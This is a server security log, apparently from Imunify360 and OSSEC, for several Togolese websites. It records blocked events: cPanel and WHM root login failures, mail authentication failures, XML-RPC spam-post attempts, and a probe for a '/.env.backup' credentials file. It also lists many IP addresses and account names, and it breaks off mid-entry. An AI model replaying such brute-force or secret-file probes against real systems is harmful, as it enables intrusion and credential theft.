103.108.92.87 - - [19/Jun/2026:06:17:12 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.81.55.82
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/563021720 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.17.89.125
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/11/photo_2025-11-07_11-44-57.webp 1280w, http:/togodailynews.tg/wp-content/uploads/2025/11/photo_2025-11-07_11-44-57-300x209.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/11/photo_2025-11-07_11-44-57-1024x713.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2025/11/photo_2025-11-07_11-44-57-768x535.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 06:19:48 +0000] info [cpaneld] 185.55.240.13 - mpqypjjp "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.163.4
country_id: 3469034
domain: arse.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:arsetg||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.114
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/565103302 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.96.75.198
country_id: 290557
description:
86.96.75.198 - - [19/Jun/2026:06:22:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934695&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Ftogo-les-grandes-decisions-du-conseil-des-ministres-du-05-novembre-2024%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781850130 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Ftogo-les-grandes-decisions-du-conseil-des-ministres-du-05-novembre-2024%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.96.75.198


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 80.242.208.190
country_id: 1522867
description:
2026-06-19 06:21:28 H=([80.242.208.190]) [80.242.208.190]:58496 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 06:23:04 +0000] info [whostmgrd] 200.9.155.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 06:23:07 +0000] info [whostmgrd] 200.9.155.126 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.30.234.167
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/06/Cooperation-sino-togolaise-le-Secretaire-general-du-FOCAC-en-visite-officielle-au-Togo-768x445.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/06/Cooperation-sino-togolaise-le-Secretaire-general-du-FOCAC-en-visite-officielle-au-Togo-768x445-300x174.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 06:23:52 +0000] info [cpaneld] 185.55.240.13 - LWS-240344 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user LWS-240344 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:24:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9749914&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781850286 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.4.78
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4-A-3.jpeg 1080w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4-A-3-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4-A-3-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4-A-3-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/10/Page-4-A-3-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.162.66.211
country_id: 6252001
description:
[2026-06-19 06:28:05 +0000] info [cpaneld] 54.162.66.211 - iyfttuec "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909284&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781850476 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.94.35.90
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/06/456aa8c9bb967962d7df4ded13a6b233_XL.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/06/456aa8c9bb967962d7df4ded13a6b233_XL-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/06/456aa8c9bb967962d7df4ded13a6b233_XL-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/06/456aa8c9bb967962d7df4ded13a6b233_XL-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:33:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.231.152.57
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/de-la-necessite-de-relier-le-village-de-keta-akoda-dans-la-prefecture-de-vo-par-un-pont/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:33:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.253.155
country_id: 1733045
description:
180.75.253.155 - - [19/Jun/2026:06:33:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908257&pdata=https%253A%252F%252Ftogodailynews.tg%252Flutte-contre-la-vie-chere-au-togo-les-mesures-prises-par-le-gouvernement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781850802 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/lutte-contre-la-vie-chere-au-togo-les-mesures-prises-par-le-gouvernement/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.6401.1521 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.253.155


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:33:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:33:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 92.58.91.155
country_id: 2510769
description:
92.58.91.155 - - [19/Jun/2026:06:35:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866840&pdata=https%253A%252F%252Fcpanel.tdopz.free.netmaster.tg%252F%253Flocale%253Dhe&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781850923 HTTP/2.0" 302 0 cpanel.tdopz.free.netmaster.tg "https://cpanel.tdopz.free.netmaster.tg/?locale=he" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:92.58.91.155


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.246.207
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:db5f57515fcaaa47bf7aff0f07386ad3464a7be3||Title:74e759xthm0alah6wc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.246.207
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9a9e93cfd1bcb1c8ab8ccb119051f250dc5c4e3c||Title:zbs49mqbg38zqq||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 86.62.3.154
country_id: 1512440
description:
2026-06-19 06:38:13 H=([86.62.3.154]) [86.62.3.154]:63377 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.246.207
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c53c6a6b2f56c4f4e37b9f7b4584494e9f1f86bf||Title:qmks5tw484jjs5hx||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.246.207
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:114f2ab4137379fd3df68d3c470fd4fe8745e2b0||Title:m37dncwl9gh7n91||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.72.28
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/613037176 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.58.112
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/01/WhatsApp-Image-2025-01-13-at-11.40.14-AM.jpeg 600w, http:/togodailynews.tg/wp-content/uploads/2025/01/WhatsApp-Image-2025-01-13-at-11.40.14-AM-300x191.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.246.207
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:37dd726cec0c00944b4895377f8636d3a927133c||Title:7htbouheev0wtsgh||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.133
country_id: 3469034
description:
Jun 19 06:39:52 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.179.188
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-le-choix-davoir-des-donnees-fiables-pour-un-systeme-de-sante-adequat/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:06:41:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7172458&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851272 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:41:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803412&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851276 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.187.78.134
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-bidc-et-afriland-first-bank-ci-concluent-un-partenariat-de-10-milliards-fcfa-pour-soutenir-la-croissance-des-pme-en-cote-divoire/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.187.78.134
country_id: 99237
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/la-bidc-et-afriland-first-bank-ci-concluent-un-partenariat-de-10-milliards-fcfa-pour-soutenir-la-croissance-des-pme-en-cote-divoire/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131816&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851328 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-19 06:42:29 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:16609: 535 Incorrect authentication data (set_id=xavier)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.216.70.18
country_id: 130758
description:
2026-06-19 06:42:33 H=([5.216.70.18]) [5.216.70.18]:53214 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-06-19 06:42:54 +0000] info [cpaneld] 66.116.242.211 - emttg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user emttg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.118.47
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/5c6369 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.126.200
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/05/Le-Gouverneur-de-la-BCEAO-presente-la-situation-economique-et-financiere-de-lUnion-au-chef-de-lEtat.jpg 800w, http:/togodailynews.tg/wp-content/uploads/2023/05/Le-Gouverneur-de-la-BCEAO-presente-la-situation-economique-et-financiere-de-lUnion-au-chef-de-lEtat-300x240.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/05/Le-Gouverneur-de-la-BCEAO-presente-la-situation-economique-et-financiere-de-lUnion-au-chef-de-lEtat-768x614.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.251.152.234
country_id: 660013
description:
2026-06-19 06:46:11 dovecot_plain authenticator failed for H=(uor190l7mytsquhebq7uzyo) [150.251.152.234]:37686: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.41.36.177
country_id: 3175395
description:
93.41.36.177 - - [19/Jun/2026:06:45:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790039&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Felimination-des-eperviers-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851531 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/elimination-des-eperviers-du-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2400.1195 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.41.36.177


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.162.17.224
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/campagne-agricole-2022-2023-faure-gnassingbe-subventionne-lengrais-de-plus-de-7-milliards-fcfa HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.197.235.201
country_id: 3469034
description:
168.197.235.201 - - [19/Jun/2026:06:45:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594479&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconvention-collective-togocom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851528 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/convention-collective-togocom/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2560.1394 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.197.235.201


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 06:46:07 +0000] info [cpaneld] 102.54.238.57 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.8.119.63
country_id: 1522867
description:
2026-06-19 06:47:07 H=([45.8.119.63]) [45.8.119.63]:59789 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:47:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [19/Jun/2026:06:47:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116385&pdata=http%253A%252F%252Fwww.bierehofbraeu.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781851674 HTTP/1.1" 302 0 www.bierehofbraeu.snb.tg "http://www.bierehofbraeu.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.181.160
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-les-pratiques-qui-rendent-propre-le-systeme-judiciaire/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:06:47:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:47:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:47:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-19 06:49:14 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:10408: 535 Incorrect authentication data (set_id=lbishop)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.99.39
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:841877b5f2dea5c1abf03df8dcbd3fec06a5ab71||Title:6fiezyscd9coxj||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
